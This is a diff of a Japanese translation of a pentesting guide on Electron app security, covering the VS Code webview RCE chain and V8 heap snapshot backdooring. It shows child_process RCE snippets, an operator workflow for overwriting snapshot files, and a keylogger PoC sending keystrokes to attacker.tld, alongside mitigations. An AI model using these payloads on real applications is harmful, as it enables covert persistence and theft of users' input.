The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
|
||||
|
||||
> [!TIP]
|
||||
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
|
||||
@ -319,37 +320,37 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
その後、レンダラープロセスはモジュールからオブジェクトを次のようにインポートできます:
|
||||
すると、renderer プロセスは次のように module からオブジェクトを import できます:
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
この **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** は、remote モジュールのオブジェクト **`app`** が公開する興味深い **関数** を示しています:
|
||||
この **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** は remote module のオブジェクト **`app`** が公開するいくつかの興味深い **関数** を示しています:
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **アプリを再起動**します。現在のインスタンスを**終了**して新しいインスタンスを**起動**します。**アプリの更新**や大きな**状態変化**に便利です。
|
||||
- **アプリケーションを再起動**します。現在のインスタンスを**終了**して新しいインスタンスを**起動**します。**app の更新**や重大な**状態変更**に便利です。
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **ログ保存用のディレクトリを定義**または**作成**します。ログは **`app.getPath()`** や **`app.setPath(pathName, newPath)`** を使って**取得**または**変更**できます。
|
||||
- **app ログを格納するディレクトリを定義**または**作成**します。ログは**`app.getPath()`**や**`app.setPath(pathName, newPath)`**を使って**取得**または**変更**できます。
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- 指定した **プロトコル** の**デフォルトハンドラ**として現在の実行ファイルを**登録**します。必要に応じて**カスタムパス**や**引数**を指定できます。
|
||||
- **指定したプロトコルに対するデフォルトハンドラとして現在の実行ファイルを登録**します。必要に応じて**カスタムパス**や**引数**を指定できます。
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- Windows の **Jump List** の **Tasks カテゴリ** にタスクを**追加**します。各タスクはアプリの**起動方法**や渡される**引数**を制御できます。
|
||||
- **Windows の Jump List 内の Tasks category にタスクを追加**します。各タスクは app の**起動方法**や渡される**引数**を制御できます。
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **PKCS#12 certificate** をシステムの **証明書ストア** に**インポート**します(Linux のみ)。結果の処理には **callback** を使用できます。
|
||||
- **PKCS#12 certificate をシステムの certificate store にインポート**します(Linux のみ)。結果を処理するために**callback**を使えます。
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- アプリを **Applications フォルダ**(macOS)に**移動**します。Mac ユーザーに対して**標準的なインストール**を確保するのに役立ちます。
|
||||
- **アプリケーションを Applications folder に移動**します(macOS)。Mac ユーザーにとっての**標準的なインストール**を確保するのに役立ちます。
|
||||
- **`app.setJumpList(categories)`**
|
||||
- Windows で**カスタムの Jump List**を**設定**または**削除**します。タスクの表示方法を整理するために **categories** を指定できます。
|
||||
- **Windows 上でカスタム Jump List を設定**または**削除**します。タスクの表示方法を整理するために**categories**を指定できます。
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- どの **実行可能ファイル** が **ログイン時** に起動するかとその **オプション** を**設定**します(macOS と Windows のみ)。
|
||||
- **どの実行ファイルがログイン時に起動するかとそのオプションを設定**します(macOS と Windows のみ)。
|
||||
|
||||
Example:
|
||||
例:
|
||||
```javascript
|
||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||
Native.app.exit()
|
||||
```
|
||||
## systemPreferences モジュール
|
||||
|
||||
Electronでシステム設定にアクセスし、**システムイベントを発行する**ための**主要な API**。**subscribeNotification**、**subscribeWorkspaceNotification**、**getUserDefault**、および**setUserDefault**のようなメソッドはすべて**このモジュールの一部です**。
|
||||
Electronでシステム環境設定にアクセスし、システムイベントを発行するための**主要な API**です。**subscribeNotification**、**subscribeWorkspaceNotification**、**getUserDefault**、**setUserDefault** といったメソッドはすべて**このモジュールの一部**です。
|
||||
|
||||
**使用例:**
|
||||
```javascript
|
||||
@ -366,31 +367,43 @@ console.log('Recent Places:', recentPlaces);
|
||||
```
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **Listens** for **native macOS notifications** using NSDistributedNotificationCenter.
|
||||
* Before **macOS Catalina**, you could sniff **all** distributed notifications by passing **nil** to CFNotificationCenterAddObserver.
|
||||
* After **Catalina / Big Sur**, sandboxed apps can still **subscribe** to **many events** (for example, **screen locks/unlocks**, **volume mounts**, **network activity**, etc.) by registering notifications **by name**.
|
||||
* **Listens** for **native macOS notifications** using NSDistributedNotificationCenter.
|
||||
NSDistributedNotificationCenterを使用してネイティブなmacOS通知を受信します。
|
||||
|
||||
* Before **macOS Catalina**, you could sniff **all** distributed notifications by passing **nil** to CFNotificationCenterAddObserver.
|
||||
**macOS Catalina**以前は、CFNotificationCenterAddObserverに**nil**を渡すことで、すべてのdistributed notificationを傍受できました。
|
||||
|
||||
* After **Catalina / Big Sur**, sandboxed apps can still **subscribe** to **many events** (for example, **screen locks/unlocks**, **volume mounts**, **network activity**, etc.) by registering notifications **by name**.
|
||||
**Catalina / Big Sur**以降でも、サンドボックス化されたアプリは通知を**名前で登録する**ことで、(例:**画面のロック/アンロック**、**ボリュームのマウント**、**ネットワークアクティビティ**など)多くのイベントを購読できます。
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **Interfaces** with **NSUserDefaults**, which stores **application** or **global** preferences on macOS.
|
||||
* **Interfaces** with **NSUserDefaults**, which stores **application** or **global** preferences on macOS.
|
||||
NSUserDefaultsとインターフェイスし、macOS上のアプリケーションまたはグローバルな設定を保存します。
|
||||
|
||||
* **getUserDefault** can **retrieve** sensitive information, such as **recent file locations** or **user’s geographic location**.
|
||||
* **getUserDefault** can **retrieve** sensitive information, such as **recent file locations** or **user’s geographic location**.
|
||||
**getUserDefault**は、**最近のファイルの場所**や**ユーザーの地理的位置**などの機微な情報を取得できる可能性があります。
|
||||
|
||||
* **setUserDefault** can **modify** these preferences, potentially affecting an app’s **configuration**.
|
||||
* **setUserDefault** can **modify** these preferences, potentially affecting an app’s **configuration**.
|
||||
**setUserDefault**はこれらの設定を変更でき、アプリの**設定**に影響を与える可能性があります。
|
||||
|
||||
* In **older Electron versions** (before v8.3.0), only the **standard suite** of NSUserDefaults was **accessible**.
|
||||
* In **older Electron versions** (before v8.3.0), only the **standard suite** of NSUserDefaults was **accessible**.
|
||||
**古いElectronバージョン**(v8.3.0以前)では、NSUserDefaultsの**標準スイート**のみがアクセス可能でした。
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
This functionは指定したファイルをファイルマネージャで表示しますが、ファイルを自動的に実行してしまう可能性があります。
|
||||
This function whows the given file in a file manager, which **could automatically execute the file**.
|
||||
この関数は指定されたファイルをファイルマネージャで表示しますが、ファイルが**自動的に実行される**可能性があります。
|
||||
|
||||
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
|
||||
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
|
||||
Electronアプリは**XSS攻撃を防ぐ**ために**Content Security Policy (CSP)**を持つべきです。**CSP**はブラウザ上で**信頼されていないコードの実行を防ぐ**ための**セキュリティ標準**です。
|
||||
|
||||
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
|
||||
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
|
||||
通常は**`main.js`**ファイルか**`index.html`**テンプレート内のmetaタグでCSPが**設定**されます。
|
||||
|
||||
For more information check:
|
||||
|
||||
@ -402,14 +415,26 @@ pentesting-web/content-security-policy-csp-bypass/
|
||||
|
||||
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
|
||||
|
||||
This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||
This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||
この実際のチェーンは Visual Studio Code 1.63(CVE-2021-43908)に影響を与え、webview内の1つのmarkdown由来のXSSが、CSP、postMessage、schemeハンドラが誤設定されているときにどのように完全なRCEにエスカレートするかを示しています。Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
|
||||
|
||||
Attack chain overview
|
||||
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId.
|
||||
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
|
||||
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
|
||||
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
|
||||
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
|
||||
Attack chain overview
|
||||
攻撃チェーンの概要
|
||||
|
||||
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId.
|
||||
webview CSP経由の最初のXSS: 生成されたCSPは`style-src 'self' 'unsafe-inline'`を含んでおり、`vscode-webview://`コンテキストでインライン/スタイルベースの注入を許可していました。ペイロードはターゲットwebviewのextensionIdを漏洩させるために `/stealID` にビーコンを送信しました。
|
||||
|
||||
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
|
||||
ターゲットwebviewのURL構築: leaked IDを使って `vscode-webview://<extensionId>/.../<publicUrl>` を構築しました。
|
||||
|
||||
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
|
||||
postMessageの信頼による2回目のXSS: 外側のwebviewは厳密なorigin/typeチェックなしに`window.postMessage`を信頼し、`allowScripts: true`で攻撃者のHTMLを読み込みました。
|
||||
|
||||
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
|
||||
スキーム/パス書き換えによるローカルファイル読み込み: ペイロードは`file:///...`を`vscode-file://vscode-app/...`に書き換え、`exploit.md`を`RCE.html`に置き換えることで、脆弱なパス検証を悪用して特権のあるローカルリソースを読み込みました。
|
||||
|
||||
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
|
||||
Nodeが有効なコンテキストでのRCE: 読み込まれたHTMLはNode APIが利用可能な状態で実行され、OSコマンド実行に至りました。
|
||||
|
||||
Example RCE primitive in the final context
|
||||
```js
|
||||
@ -417,7 +442,7 @@ Example RCE primitive in the final context
|
||||
require('child_process').exec('calc.exe'); // Windows
|
||||
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
|
||||
```
|
||||
Related reading on postMessage trust issues:
|
||||
postMessage の信頼性の問題に関する関連資料:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-web/postmessage-vulnerabilities/README.md
|
||||
@ -425,16 +450,16 @@ Related reading on postMessage trust issues:
|
||||
|
||||
## **ツール**
|
||||
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) は Electron ベースのアプリケーションにおけるミスコンフィギュレーションやセキュリティのアンチパターンを特定するツールです。
|
||||
- [**Electronegativity**](https://github.com/doyensec/electronegativity) は Electron ベースのアプリケーションにおける誤設定やセキュリティのアンチパターンを特定するツールです。
|
||||
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) は Electronegativity を利用する Electron アプリ向けのオープンソースの VS Code プラグインです。
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) は脆弱なサードパーティライブラリをチェックするためのツールです。
|
||||
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) は脆弱なサードパーティライブラリをチェックするためのツール
|
||||
- [**Electro.ng**](https://electro.ng/): 購入が必要です
|
||||
|
||||
## ラボ
|
||||
|
||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) では、脆弱な Electron アプリを exploit するためのラボが見つかります。
|
||||
次のリンク [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) には、脆弱な Electron アプリを exploit するためのラボがあります。
|
||||
|
||||
ラボで役立ついくつかのコマンド:
|
||||
ラボで役立ついくつかのコマンド:
|
||||
```bash
|
||||
# Download apps from these URls
|
||||
# Vuln to nodeIntegration
|
||||
@ -457,18 +482,18 @@ cd vulnerable1
|
||||
npm install
|
||||
npm start
|
||||
```
|
||||
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
|
||||
## V8 heap snapshot の改ざんによるローカルバックドア設置 (Electron/Chromium) – CVE-2025-55305
|
||||
|
||||
Electron と Chromium ベースのアプリは起動時に事前構築された V8 heap snapshot(v8_context_snapshot.bin、オプションで browser_v8_context_snapshot.bin)をデシリアライズして各 V8 isolate(main、preload、renderer)を初期化します。歴史的に、Electron の integrity fuses はこれらのスナップショットを実行可能コンテンツとして扱っておらず、fuse ベースの整合性強制や OS の code-signing チェックの両方を回避していました。その結果、ユーザーが書き込み可能なインストールディレクトリ内のスナップショットを置き換えることで、署名済みバイナリや ASAR を変更せずにアプリ内部でステルスかつ永続的なコード実行が可能になっていました。
|
||||
Electron や Chromium ベースのアプリは、起動時に事前作成された V8 heap snapshot (v8_context_snapshot.bin、必要に応じて browser_v8_context_snapshot.bin) をデシリアライズして各 V8 isolate (main, preload, renderer) を初期化します。歴史的に、Electron の integrity fuses はこれらのスナップショットを実行可能コンテンツとして扱っておらず、そのため fuse ベースの整合性強制や OS のコード署名チェックの両方を回避していました。その結果、ユーザが書き込み可能なインストール先でスナップショットを置き換えることで、署名済みバイナリや ASAR を変更せずにアプリ内部でステルスかつ持続的なコード実行が可能になりました。
|
||||
|
||||
Key points
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation と OnlyLoadAppFromAsar は ASAR 内のアプリ JavaScript を検証しますが、V8 heap snapshots(CVE-2025-55305)はカバーしていませんでした。Chromium も同様にスナップショットの整合性チェックを行っていません。
|
||||
- Attack preconditions: アプリのインストールディレクトリへのローカルファイル書き込み権限。Electron アプリや Chromium ブラウザがユーザー書き込み可能なパスにインストールされている環境では一般的です(例: %AppData%\Local on Windows、macOS では /Applications に注意点あり)。
|
||||
- Effect: 頻繁に使われる builtin(“gadget”)を上書きすることで、任意の isolate で attacker JavaScript を確実に実行でき、永続化および code-signing 検証の回避を可能にします。
|
||||
- Affected surface: fuses が有効であっても Electron アプリ、そしてユーザー書き込み可能な場所からスナップショットを読み込む Chromium ベースのブラウザが影響を受けます。
|
||||
- Integrity gap: EnableEmbeddedAsarIntegrityValidation と OnlyLoadAppFromAsar は ASAR 内のアプリ JavaScript を検証しますが、V8 heap snapshots はカバーしていません (CVE-2025-55305)。Chromium も同様にスナップショットの整合性チェックを行いません。
|
||||
- Attack preconditions: アプリのインストールディレクトリへのローカルファイル書き込み。Electron アプリや Chromium ブラウザがユーザ書き込み可能なパスにインストールされている環境(例: %AppData%\Local on Windows; /Applications with caveats on macOS)では一般的です。
|
||||
- Effect: 頻繁に使用される builtin(「gadget」)を上書きすることで任意の isolate 内で攻撃者の JavaScript を確実に実行でき、持続化とコード署名検証の回避が可能になります。
|
||||
- Affected surface: (fuses が有効でも) Electron アプリと、ユーザ書き込み可能な場所からスナップショットを読み込む Chromium ベースのブラウザ。
|
||||
|
||||
Generating a malicious snapshot without building Chromium
|
||||
- 事前ビルド済みの electron/mksnapshot を使って payload JS を snapshot にコンパイルし、アプリケーションの v8_context_snapshot.bin を上書きします。
|
||||
- 事前にビルドされた electron/mksnapshot を使って payload JS を snapshot にコンパイルし、アプリケーションの v8_context_snapshot.bin を上書きします。
|
||||
|
||||
Example minimal payload (prove execution by forcing a crash)
|
||||
```js
|
||||
@ -484,11 +509,11 @@ Array.isArray = function () {
|
||||
throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
Isolate-aware payload routing(main と renderer で異なるコードを実行)
|
||||
- Main process detection: process.pid、process.binding()、process.dlopen のような Node-only globals は main process isolate に存在します。
|
||||
- Browser/renderer detection: alert のような Browser-only globals はドキュメントコンテキストで実行しているときに利用可能です。
|
||||
Isolate-aware payload routing (run different code in main vs. renderer)
|
||||
- Main process detection: メインプロセスの検出: Node 専用のグローバル(process.pid、process.binding()、process.dlopen など)がメインプロセスの isolate に存在します。
|
||||
- Browser/renderer detection: ブラウザ/レンダラーの検出: ブラウザ専用のグローバル(alert など)は document コンテキストで実行されているときに利用可能です。
|
||||
|
||||
メインプロセスの Node 機能を一度だけプローブする example gadget
|
||||
Example gadget that probes main-process Node capabilities once
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
|
||||
@ -517,7 +542,7 @@ process.exit(0);
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Renderer/browser-context のデータ窃取 PoC (例: Slack)
|
||||
Renderer/ブラウザコンテキストのデータ窃取 PoC(例: Slack)
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
Array.isArray = function() {
|
||||
@ -541,31 +566,27 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
オペレーターのワークフロー
|
||||
1) 一般的な組み込み関数を上書きする payload.js を作成する(例: Array.isArray)。必要に応じて isolate ごとに分岐してもよい。
|
||||
2) Chromium のソースなしでスナップショットをビルドする:
|
||||
Operator workflow
|
||||
1) payload.js を作成します。共通の組み込み(例: Array.isArray)を上書きし、必要に応じて isolate ごとに分岐させます。
|
||||
2) Chromium ソースを使わずに snapshot をビルドします:
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) ターゲットアプリケーションのスナップショットファイルを上書きする:
|
||||
- v8_context_snapshot.bin (常に使用される)
|
||||
- browser_v8_context_snapshot.bin (LoadBrowserProcessSpecificV8Snapshot fuse が使われている場合)
|
||||
4) アプリケーションを起動すると、選択した組み込み関数が使用されるたびにその gadget が実行される。
|
||||
3) ターゲットアプリケーションの snapshot ファイルを上書きします:
|
||||
- v8_context_snapshot.bin (always used)
|
||||
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
|
||||
4) アプリケーションを起動します。選択した組み込みが使われるたびにガジェットが実行されます。
|
||||
|
||||
注意点と考慮事項
|
||||
- Integrity/signature bypass: スナップショットファイルはコード署名チェックでネイティブ実行ファイルとして扱われず、(歴史的に)Electron の fuses や Chromium の整合性制御の対象にはなっていませんでした。
|
||||
- Persistence: ユーザ書き込み可能なインストール先のスナップショットを置き換えると、通常アプリ再起動後も持続し、署名済みの正当なアプリのように見えます。
|
||||
- Chromium browsers: 同様の改ざんは、ユーザ書き込み可能な場所にインストールされた Chrome/派生ブラウザにも適用されます。Chrome は他の整合性緩和策を持っていますが、物理的にローカルな攻撃を脅威モデルから明示的に除外しています。
|
||||
Notes and considerations
|
||||
- Integrity/signature bypass: Snapshot ファイルはコード署名のチェックでネイティブ実行ファイルとして扱われず、(歴史的に)Electron の fuses や Chromium の整合性制御の対象外でした。
|
||||
- Persistence: ユーザー書き込み可能なインストールにある snapshot を置き換えると、通常アプリの再起動をまたいで持続し、署名済みの正当なアプリのように見えます。
|
||||
- Chromium browsers: 同じ改ざんの概念は、ユーザー書き込み可能な場所にインストールされた Chrome/派生ブラウザにも当てはまります。Chrome には他の整合性緩和策がありますが、物理的にローカルな攻撃を脅威モデルから明示的に除外しています。
|
||||
|
||||
Detection and mitigations
|
||||
- スナップショットを実行可能なコンテンツとして扱い、整合性チェックに含める(CVE-2025-55305 fix)。
|
||||
- 管理者のみ書き込み可能なインストール場所を優先する。v8_context_snapshot.bin と browser_v8_context_snapshot.bin のハッシュをベースライン化し監視する。
|
||||
- 早期ランタイムでの組み込み関数の上書きや予期しないスナップショットの変更を検出する。デシリアライズされたスナップショットが期待値と一致しない場合にアラートを出す。
|
||||
- Snapshot を実行可能コンテンツとして扱い、整合性強制に含める(CVE-2025-55305 fix)。
|
||||
- 管理者のみ書き込み可能なインストール場所を優先する; v8_context_snapshot.bin と browser_v8_context_snapshot.bin のハッシュをベースライン化して監視する。
|
||||
- 早期ランタイムでの組み込みの上書き(builtin clobbering)や予期しない snapshot の変更を検出する。デシリアライズされた snapshot が期待値と一致しない場合にアラートを出す。
|
||||
|
||||
## **参考資料**
|
||||
## **References**
|
||||
|
||||
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
|
||||
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
|
||||
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
|
||||
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||
|
Loading…
x
Reference in New Issue
Block a user